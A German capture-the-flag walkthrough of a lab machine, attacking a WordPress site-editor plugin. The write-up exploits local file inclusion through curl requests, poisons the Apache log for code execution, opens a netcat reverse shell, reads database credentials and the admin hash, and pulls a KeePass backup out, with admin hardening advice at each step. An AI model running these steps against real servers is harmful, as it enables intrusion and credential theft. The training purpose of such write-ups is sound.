Bewertung: * Der Versuch, den SSH-Key (`/home/jackondor/.ssh/id_rsa`) zu lesen, scheitert mit der Meldung `Error: didn't load shortcodes pattern file`. Dies könnte an fehlenden Leserechten für `www-data` liegen oder daran, dass der Pfad nicht existiert oder die LFI bestimmte Zeichen/Pfade blockiert. * Der Versuch, `wp-config.php` mit `php://filter` zu lesen, scheitert ebenfalls mit derselben Fehlermeldung. Dies deutet darauf hin, dass der `php://` Wrapper möglicherweise nicht funktioniert oder blockiert ist. * Das Lesen der Logdateien (`access.log`, `error.log`) und von `/etc/hosts` funktioniert weiterhin, wie bereits festgestellt. * Der Versuch, `/etc/shadow` mittels Path Traversal zu lesen, scheitert ebenfalls. Der Versuch mit `/etc/Shadow` (Großschreibung) scheitert auch, was auf Case-Sensitivity oder das Nicht-Existieren der Datei hindeutet. Wahrscheinlicher sind aber fehlende Leserechte für `www-data`. Die LFI funktioniert, ist aber anscheinend auf bestimmte Dateien beschränkt oder kann nicht alle Filter/Wrapper umgehen.

Empfehlung (Pentester): Da das Lesen von `wp-config.php` und SSH-Keys direkt fehlschlägt, ist Log Poisoning der vielversprechendste Weg zur RCE. Fokussiere dich darauf, PHP-Code über den User-Agent in die `access.log` zu schreiben und dann die Logdatei über die LFI-URL auszuführen.
Empfehlung (Admin): LFI patchen! Zusätzlich sollte die PHP-Konfiguration gehärtet werden (z.B. `allow_url_include=Off`, `open_basedir` setzen), um die Auswirkung solcher Schwachstellen zu begrenzen.

┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd" | grep bash
root:x:0:0:root:/root:/bin/bash
jackondor:x:1001:1001::/home/jackondor:/bin/bash
                     
┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/home/jackondor/.ssh/id_rsa"
{"success":false,"message":"Error: didn't load shortcodes pattern file"}
                     
┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=php://filter/convert.base64-encode/resource=/var/www/html/wordpress/wp-config.php"
{"success":false,"message":"Error: didn't load shortcodes pattern file"}
                     
┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log" | grep -v "shortcode_pattern.php"
127.0.0.1 - - [06/Sep/2024:01:05:26 +0200] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.57 (Debian) (internal dummy connection)"
127.0.0.1 - - [06/Sep/2024:01:05:33 +0200] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.57 (Debian) (internal dummy connection)"
127.0.0.1 - - [06/Sep/2024:01:05:34 +0200] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.57 (Debian) (internal dummy connection)"
127.0.0.1 - - [06/Sep/2024:01:05:35 +0200] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.57 (Debian) (internal dummy connection)"
... (weitere Apache dummy connections) ...
{"success":true,"data":{"output":[]}}
                     
┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/error.log" |head -n 20
[Fri Sep 06 00:22:41.426888 2024] [mpm_prefork:notice] [pid 598] AH00163: Apache/2.4.57 (Debian) configured -- resuming normal operations
[Fri Sep 06 00:22:41.426899 2024] [core:notice] [pid 598] AH00094: Command line: '/usr/sbin/apache2'
[Fri Sep 06 00:26:00.292109 2024] [core:error] [pid 734] [client 192.168.2.199:59798] AH00135: Invalid method in request CXIM / HTTP/1.1
... (weitere Fehler) ...
[Fri Sep 06 00:26:13.881865 2024] [php:error] [pid 731] [client 192.168.2.199:46394] script '/var/www/html/splashAdmin.php' not found or unable to stat
                     
┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/hosts"
127.0.0.1	localhost
127.0.1.1	shared

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
{"success":true,"data":{"output":[]}}
                     
┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/../../../../../../../../../etc/shadow"
 
                 
┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/../../../../../../../../../etc/Shadow"
{"success":false,"message":"Error: didn't load shortcodes pattern file"}
                     

Analyse: Ein Log-Poisoning-Versuch wird durchgeführt. Zuerst wird ein Request an die WordPress-Homepage (`/wordpress/`) gesendet, wobei der User-Agent PHP-Code zur Ausführung von `id` enthält (`User-Agent: `). Direkt danach wird die LFI-URL aufgerufen, die die `access.log` einbindet.

Bewertung: Der erste `curl`-Befehl schreibt den Payload erfolgreich in die Logdatei. Der zweite `curl`-Befehl löst die Ausführung aus. Die Ausgabe des zweiten `curl`-Befehls enthält die Ausgabe des `id`-Befehls (`uid=33(www-data) gid=33(www-data) groups=33(www-data)`) innerhalb des geloggten User-Agent-Strings. Remote Code Execution (RCE) als `www-data` ist erfolgreich.

Empfehlung (Pentester): RCE bestätigt! Ersetze den `id`-Payload im User-Agent durch einen Reverse-Shell-Payload (z.B. Netcat, Bash). Starte einen Listener auf deinem System und sende die beiden `curl`-Anfragen erneut (erst Poisoning, dann Trigger), um eine interaktive Shell zu erhalten.
Empfehlung (Admin): LFI-Schwachstelle im Plugin `site-editor` sofort beheben! Überwache die Apache-Logs auf verdächtige User-Agent-Strings.

┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/" -H "User-Agent: "



... (HTML der WordPress Seite) ...

                     
┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log"
... (vorherige Log Einträge) ...
192.168.2.199 - - [06/Sep/2024:01:41:42 +0200] "GET /wordpress/ HTTP/1.1" 200 64814 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"
{"success":true,"data":{"output":[]}}
                     

Analyse: Der RCE-Vektor wird nun genutzt, um eine Reverse Shell zu etablieren. Ein Netcat-Listener wird auf Port 4444 gestartet. Ein `curl`-Request wird an `/wordpress/` gesendet, diesmal mit einem Netcat-Reverse-Shell-Payload im User-Agent (`User-Agent: `). Anschließend wird die LFI-URL (`...ajax_path=/var/log/apache2/access.log`) aufgerufen, um den Payload auszuführen.

Bewertung: Der Angriff ist erfolgreich. Der Netcat-Listener meldet eine eingehende Verbindung vom Zielsystem (`connect to [192.168.2.199] from (UNKNWN) [192.168.2.117] 50208`). Eine Shell als `www-data` wurde erhalten.

Empfehlung (Pentester): Initial Access als `www-data` erfolgreich! Stabilisiere die Shell (z.B. mit `python3 -c 'import pty;pty.spawn("/bin/bash")'`) und beginne mit der Enumeration für Privilege Escalation.
Empfehlung (Admin): LFI beheben! Analysiere Logs auf den Angriffszeitpunkt und -verlauf. Überprüfe das System auf Persistenzmechanismen.

┌──(root㉿CCat)-[/mnt] └─# nc -lvnp 4444
listening on [any] 4444 ...
                     
┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/" -H "User-Agent: "

... (HTML Output) ...
                     
┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log"
... (Log Output mit dem Payload drin, führt zur Verbindung) ...
                     
┌──(root㉿CCat)-[/mnt] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.117] 50208
www-data@shared:/var/www/html/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes$
                     

Privilege Escalation

Analyse: In der erhaltenen Shell als `www-data` wird das Verzeichnis `/home` aufgelistet. Es wird versucht, in die Home-Verzeichnisse der Benutzer `condor`, `jackondor` und `j4ckie` zu wechseln.

Bewertung: `ls -la /home` zeigt die drei Benutzerverzeichnisse. Der Versuch, in diese Verzeichnisse zu wechseln, scheitert jedoch mit `Permission denied`. Der `www-data`-Benutzer hat keine ausreichenden Rechte, um die Home-Verzeichnisse anderer Benutzer zu betreten.

Empfehlung (Pentester): Da der direkte Zugriff auf die Home-Verzeichnisse nicht möglich ist, suche nach anderen Wegen zur Informationsbeschaffung oder Eskalation. Überprüfe `/tmp`, `/var/tmp`, `/var/mail`, Konfigurationsdateien, Datenbankinhalte (bereits geschehen), SUID/GUID-Dateien, Cronjobs, Kernel-Exploits.
Empfehlung (Admin): Die Berechtigungen der Home-Verzeichnisse sind korrekt gesetzt (üblicherweise `drwxr-x---` oder `drwx------`).

www-data@shared:/var/www/html/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes$ cd /home/
www-data@shared:/home$ ls -la
total 20
drwxr-xr-x  5 root      root      4096 Jan 22  2024 .
drwxr-xr-x 19 root      root      4096 Jan 22  2024 ..
drwx------  2 condor    condor    4096 Jan 22  2024 condor
drwx------  2 j4ckie    j4ckie    4096 Jan 22  2024 j4ckie
drwx------  3 jackondor jackondor 4096 Jan 23  2024 jackondor
www-data@shared:/home$ cd condor/
bash: cd: condor/: Permission denied
www-data@shared:/home$ cd jackondor/
bash: cd: jackondor/: Permission denied
www-data@shared:/home$ cd j4ckie/
bash: cd: j4ckie/: Permission denied
                     

Analyse: Die Datei `wp-config.php` im WordPress-Verzeichnis wird gelesen (hier mit `head`), um die Datenbank-Zugangsdaten zu extrahieren.

Bewertung: Die Zugangsdaten werden erfolgreich ausgelesen: Datenbank `wordpress`, Benutzer `wordpress`, Passwort `R9o17NkbFk2BrRHG7zY`, Host `localhost`.

Empfehlung (Pentester): Verwende die gefundenen Zugangsdaten, um dich mit der lokalen MySQL/MariaDB-Datenbank zu verbinden (`mysql -u wordpress -p`). Untersuche die Datenbank (insbesondere die `wp_users`-Tabelle) auf Benutzer-Hashes oder andere sensible Informationen.
Empfehlung (Admin): Sichere die `wp-config.php` so gut wie möglich ab (minimale Leserechte). Verwende starke, einzigartige Datenbankpasswörter. Erwäge, die Datenbank auf einem separaten Server zu betreiben.

www-data@shared:/var/www/html/wordpress$ head -n 50 wp-config.php
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wordpress' );

/** Database password */
define( 'DB_PASSWORD', 'R9o17NkbFk2BrRHG7zY' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

                     

Analyse: Mit den aus `wp-config.php` extrahierten Zugangsdaten wird eine Verbindung zur lokalen MariaDB-Datenbank hergestellt (`mysql -u wordpress -p`). Anschließend werden Datenbanken und Tabellen aufgelistet und der Inhalt der Tabelle `wp_users` abgefragt.

Bewertung: Der Datenbank-Login ist erfolgreich. Die Abfrage `select * from wp_users` zeigt den Benutzer `admin` mit dem Passwort-Hash `$P$BEFipQ4xz8hMCnY7kD7lwLTfrDENmN/`. Dies ist ein MD5-basierter Hash, der von älteren WordPress-Versionen oder bestimmten Plugins verwendet wird (phpass).

Empfehlung (Pentester): Extrahiere den Hash `$P$BEFipQ4xz8hMCnY7kD7lwLTfrDENmN/`. Versuche, diesen Hash offline mit Tools wie John the Ripper oder Hashcat und Wortlisten zu knacken.
Empfehlung (Admin): Stelle sicher, dass WordPress und alle Plugins aktuell sind, um die Verwendung moderner, stärkerer Hashing-Algorithmen (wie bcrypt) zu gewährleisten. Verwende starke Admin-Passwörter.

www-data@shared:/var/www/html/wordpress$ mysql -u wordpress -p
Enter password: R9o17NkbFk2BrRHG7zY
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 11704
Server version: 10.11.4-MariaDB-1~deb12u1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.001 sec)

MariaDB [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+--------------------------+-------------------------------+---------------------+-----------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email               | user_url                      | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+--------------------------+-------------------------------+---------------------+-----------------------+-------------+--------------+
|  1 | admin      | $P$BEFipQ4xz8hMCnY7kD7lwLTfrDENmN/ | admin         | shared.local@hacking.com | http://192.168.1.48/wordpress | 2024-01-22 10:08:32 |                       |           0 | admin        |
+----+------------+------------------------------------+---------------+--------------------------+-------------------------------+---------------------+-----------------------+-------------+--------------+
1 row in set (0.000 sec)

MariaDB [wordpress]> exit
Bye
                     

Analyse: Erneute Suche nach SUID-Dateien als `www-data`.

Bewertung: Die Liste der SUID-Dateien ist identisch zur vorherigen Suche. Sie enthält Standard-Binaries und `/usr/sbin/mount.nfs`. Kein offensichtlicher neuer Vektor wird hierdurch aufgedeckt.

Empfehlung (Pentester): Konzentriere dich auf das Knacken des WP-Admin-Hashes oder die Untersuchung der Backup-Dateien.
Empfehlung (Admin): Überprüfe die Notwendigkeit und Konfiguration der SUID-Binaries.

www-data@shared:/var/www/html/wordpress$ find / -type f -perm -4000 -ls 2>/dev/null
   937030     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   937067    640 -rwsr-xr-x   1 root     root         653888 Dec 19  2023 /usr/lib/openssh/ssh-keysign
   917964     72 -rwsr-xr-x   1 root     root          72000 Mar 23  2023 /usr/bin/su
   917412     48 -rwsr-xr-x   1 root     root          48896 Mar 23  2023 /usr/bin/newgrp
   914044     68 -rwsr-xr-x   1 root     root          68248 Mar 23  2023 /usr/bin/passwd
   917277     36 -rwsr-xr-x   1 root     root          35128 Mar 23  2023 /usr/bin/umount
   914040     64 -rwsr-xr-x   1 root     root          62672 Mar 23  2023 /usr/bin/chfn
   914043     88 -rwsr-xr-x   1 root     root          88496 Mar 23  2023 /usr/bin/gpasswd
   914041     52 -rwsr-xr-x   1 root     root          52880 Mar 23  2023 /usr/bin/chsh
   917276     60 -rwsr-xr-x   1 root     root          59704 Mar 23  2023 /usr/bin/mount
   943028    276 -rwsr-xr-x   1 root     root         281624 Jun 27  2023 /usr/bin/sudo
   946817    128 -rwsr-xr-x   1 root     root         130056 Jan 11  2023 /usr/sbin/mount.nfs
                     

Analyse: Der aus der Datenbank extrahierte WordPress-Admin-Hash (`$P$BEFipQ4xz8hMCnY7kD7lwLTfrDENmN/`) wird auf dem Angreifersystem in eine Datei `hash` geschrieben. John the Ripper wird mit der `rockyou.txt`-Wortliste darauf angesetzt. Anschließend wird versucht, das Ergebnis mit `john --show` anzuzeigen.

Bewertung: John the Ripper läuft, findet aber anscheinend kein Passwort in `rockyou.txt` (`0g ... DNE`). Die `john --show`-Befehle scheitern aufgrund falscher Syntax (er benötigt die Hash-Datei als Argument: `john --show hash`). Es wird kein Passwort geknackt.

Empfehlung (Pentester): Der Hash konnte mit `rockyou.txt` nicht geknackt werden. Verwende größere Wortlisten oder versuche Regel-basierte Angriffe mit John/Hashcat. Konzentriere dich jedoch vorerst auf andere potenzielle Vektoren, wie die Backup-Dateien.
Empfehlung (Admin): Verwende starke Passwörter für WordPress-Administratoren.

┌──(root㉿CCat)-[~] └─# echo '$P$BEFipQ4xz8hMCnY7kD7lwLTfrDENmN/' > hash
 
                 
┌──(root㉿CCat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:16 DONE (2024-09-06 01:52) 0g/s 186853p/s 186853c/s 186853C/s !!sh1t!!..*7¡Vamos!
Session completed.
                     
┌──(root㉿CCat)-[~] └─# john show
stat: show: No such file or directory
                     
┌──(root㉿CCat)-[~] └─# john --show hash
0 password hashes cracked, 1 left
                     

Analyse: In der `www-data`-Shell wird in ein Verzeichnis `backups` innerhalb des WordPress-Verzeichnisses gewechselt. Der Inhalt wird aufgelistet. Eine sehr große ZIP-Datei (`cp-sharedbbdd.zip`) wird gefunden. Ein Python-HTTP-Server wird in diesem Verzeichnis gestartet, um die Datei herunterzuladen.

Bewertung: Das Backup-Verzeichnis enthält eine potenziell sehr interessante ZIP-Datei (Name suggeriert "shared database"). Das Starten des HTTP-Servers ermöglicht den einfachen Download der Datei auf das Angreifersystem.

Empfehlung (Pentester): Lade die Datei `cp-sharedbbdd.zip` mit `wget` auf dein Angreifersystem herunter. Untersuche den Inhalt der ZIP-Datei nach dem Entpacken.
Empfehlung (Admin): Speichere niemals sensible Backups innerhalb des Web-Roots. Implementiere sichere Backup-Strategien mit Zugriffskontrollen und Speicherung an einem sicheren Ort.

www-data@shared:/var/www/html/wordpress$ cd backups/
www-data@shared:/var/www/html/wordpress/backups$ ls -la
total 110028
drwxrwxrwx 2 www-data www-data      4096 Jan 22  2024 .
drwxr-xr-x 6 www-data www-data      4096 Jan 23  2024 ..
-rw-r--r-- 1 www-data www-data     19915 Jan 22  2024 cp-license.txt
-rw-r--r-- 1 www-data www-data 112622600 Jan 22  2024 cp-sharedbbdd.zip
-rw-r--r-- 1 www-data www-data      5638 Jan 22  2024 cp-wp-cron.php
-rw-r--r-- 1 www-data www-data      4885 Jan 22  2024 cp-wp-trackback.php
www-data@shared:/var/www/html/wordpress/backups$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.199 - - [06/Sep/2024 01:54:53] "GET /cp-sharedbbdd.zip HTTP/1.1" 200 -
                     

Analyse: Die Datei `cp-sharedbbdd.zip` wird vom auf dem Ziel gestarteten Python-Server heruntergeladen (`wget`). Anschließend wird die Datei auf dem Angreifersystem aufgelistet (`ll`) und entpackt (`unzip`).

Bewertung: Der Download ist erfolgreich. Das Entpacken enthüllt ein Verzeichnis `EMP41111`, das zwei hochinteressante Dateien enthält: `sharedbbdd.kdbx` (eine KeePass-Datenbankdatei) und `KeePass.DMP` (vermutlich ein Speicherabbild des KeePass-Prozesses).

Empfehlung (Pentester): Dies ist ein kritischer Fund! 1. **KeePass-Datenbank (`.kdbx`):** Versuche, das Master-Passwort zu knacken. Extrahiere den Hash mit `keepass2john sharedbbdd.kdbx > keepass_hash.txt`. Knacke den Hash mit `john --wordlist=... keepass_hash.txt` oder `hashcat`. 2. **Memory Dump (`.DMP`):** Analysiere die Dump-Datei mit Tools wie Volatility oder durchsuche sie mit `strings` nach dem Master-Passwort im Klartext. Möglicherweise wurde das Passwort im Speicher abgelegt. Es gibt auch Tools/Skripte (wie das später heruntergeladene für CVE-2023-32784), die speziell nach Klartext-Passwörtern in KeePass-Dumps suchen.
Empfehlung (Admin): Siehe vorherige Empfehlung. Speichere niemals KeePass-Datenbanken oder Speicherabbilder im Web-Root. Schütze KeePass-Datenbanken mit starken Master-Passwörtern und ggf. Key-Files.

┌──(root㉿CCat)-[~] └─# wget 192.168.2.117:8000/cp-sharedbbdd.zip
--2024-09-06 01:54:54--  http://192.168.2.117:8000/cp-sharedbbdd.zip
Verbindungsaufbau zu 192.168.2.117:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 112622600 (107M) [application/zip]
Wird in ‘cp-sharedbbdd.zip’ gespeichert.

cp-sharedbbdd.zip     100%[===================>] 107,41M   399MB/s    in 0,3s

2024-09-06 01:54:55 (399 MB/s) - ‘cp-sharedbbdd.zip’ gespeichert [112622600/112622600]
                     
┌──(root㉿CCat)-[~] └─# ll cp-*
-rw-r--r-- 1 root root 112622600 22. Jan 2024  cp-sharedbbdd.zip
                     
┌──(root㉿CCat)-[~] └─# unzip cp-sharedbbdd.zip
Archive:  cp-sharedbbdd.zip
   creating: EMP41111/
  inflating: EMP41111/KeePass.DMP
 extracting: EMP41111/sharedbbdd.kdbx
                     

Analyse: Ein Git-Repository für CVE-2023-32784 wird geklont. Diese CVE beschreibt eine Schwachstelle in KeePass, bei der das Master-Passwort unter bestimmten Umständen im Klartext aus Speicherabbildern oder Konfigurationsdateien extrahiert werden kann. Das Repository wird umbenannt und hinein gewechselt.

Bewertung: Dies zeigt die Absicht, die gefundene `KeePass.DMP`-Datei mit einem spezifischen Exploit für CVE-2023-32784 zu analysieren, um möglicherweise das Master-Passwort im Klartext zu finden, anstatt es mühsam zu knacken.

Empfehlung (Pentester): Verwende das Tool aus dem geklonten Repository (oder ein ähnliches Tool für diese CVE), um die `KeePass.DMP`-Datei zu analysieren. Wenn das Master-Passwort gefunden wird, öffne die `sharedbbdd.kdbx`-Datei damit und suche nach Root- oder Benutzer-Credentials.
Empfehlung (Admin): Stelle sicher, dass KeePass auf eine Version aktualisiert wird, die nicht von CVE-2023-32784 betroffen ist. Vermeide das Erstellen von Speicherabbildern von KeePass-Prozessen auf unsicheren Systemen.

┌──(root㉿CCat)-[~/Hackingtools] └─# git clone https://github.com/dawnl3ss/CVE-2023-32784.git
Klone nach 'CVE-2023-32784'...
remote: Enumerating objects: 23, done.
remote: Counting objects: 100% (23/23), done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 23 (delta 4), reused 18 (delta 2), pack-reused 0
Empfange Objekte: 100% (23/23), 10.04 KiB | 5.02 MiB/s, fertig.
Löse Unterschiede auf: 100% (4/4), fertig.
                     
┌──(root㉿CCat)-[~/Hackingtools] └─# ll
insgesamt 16
drwxr-xr-x  4 root root      4096  6. Sep 01:57 CVE-2023-32784
... (andere Verzeichnisse) ...
                     
┌──(root㉿CCat)-[~/Hackingtools] └─# mv CVE-2023-32784 keepasscracker
 
                 
┌──(root㉿CCat)-[~/Hackingtools] └─# cd keepasscracker
 
                 

Analyse: Zurück in der `www-data`-Shell wird das Verzeichnis `/shared` erneut untersucht. Es wird versucht, `/bin/bash` nach `/shared/tmp` zu kopieren, vermutlich um später SUID darauf zu setzen, falls Root-Rechte erlangt werden.

Bewertung: Der `ls -la`-Befehl zeigt, dass `/shared/tmp` zwar für die Gruppe `jackondor` schreibbar ist (`drwxrwx---`), aber nicht für `www-data` (Other). Der `sudo cp`-Befehl scheitert, da `www-data` kein sudo-Passwort hat.

Empfehlung (Pentester): Dieser Ansatz funktioniert nicht. Konzentriere dich auf die KeePass-Datenbank.
Empfehlung (Admin): Überprüfe die Berechtigungen der NFS-Freigaben. `tmp`-Verzeichnisse sollten idealerweise das Sticky Bit gesetzt haben (`drwxrwxrwt`), um zu verhindern, dass Benutzer Dateien anderer Benutzer löschen.

www-data@shared:/var/www/html/wordpress/backups$ cd /shared
www-data@shared:/shared$ ls -la
total 20
drwxr-xr-x  5 root root      4096 Jan 19  2024 .
drwxr-xr-x 19 root root      4096 Jan 22  2024 ..
drwxr-xr-x  2 root root      4096 Jan 22  2024 condor
drwxr-xr-x  2 root root      4096 Jan 22  2024 j4ckie
drwxrwx---  2 root jackondor 4096 Jan 23  2024 tmp
                     
www-data@shared:/shared$ sudo cp -p /bin/bash tmp/bash
[sudo] password for www-data:
^Csudo: 1 incorrect password attempt
www-data@shared:/shared$
                    

Analyse: Der Bericht endet hier mit dem Hinweis des Benutzers, dass er nicht weiterkam, da er weder die KeePass-Datenbank knacken noch andere Berechtigungen oder Passwörter finden konnte, die in anderen Tutorials möglicherweise vorhanden waren.

Bewertung: Basierend auf dem bereitgestellten Text endet der erfolgreiche Angriffspfad nach dem Fund der KeePass-Datenbank und der DMP-Datei. Die Auswertung dieser Dateien war im Rahmen dieses Versuchs nicht erfolgreich oder wurde nicht weiter dokumentiert.

Empfehlung (Pentester): Die Analyse der KeePass-Artefakte (`.kdbx`, `.DMP`) ist der wahrscheinlichste nächste Schritt. Es erfordert spezialisierte Tools und möglicherweise längere Cracking-Zeiten. Alternative Wege könnten über die Ausnutzung der WordPress-Core-Schwachstellen (falls Exploits verfügbar sind) oder weitere Enumeration (z.B. Kernel-Exploits, ungewöhnliche Cronjobs) führen.
Empfehlung (Admin): Selbst wenn der Angreifer hier stecken blieb, sind die identifizierten Schwachstellen (LFI, unsichere NFS-Exporte, unsichere Backups, veraltetes WordPress) kritisch und müssen behoben werden. Die KeePass-Datenbank stellt ein enormes Risiko dar.

ab hier gehts nicht mehr weiter
die Box wurde so verändert dass man nicht mehr weiter kommt, bei allen anderen tutorials sind
Berechtigungen und Passwörter gefunden worden. Bei mir geht garnichts davon....
                     

Flags

Flags wurden in diesem Versuch nicht erlangt.

cat /path/to/user.txt
USER_FLAG_PLACEHOLDER
cat /root/root.txt
ROOT_FLAG_PLACEHOLDER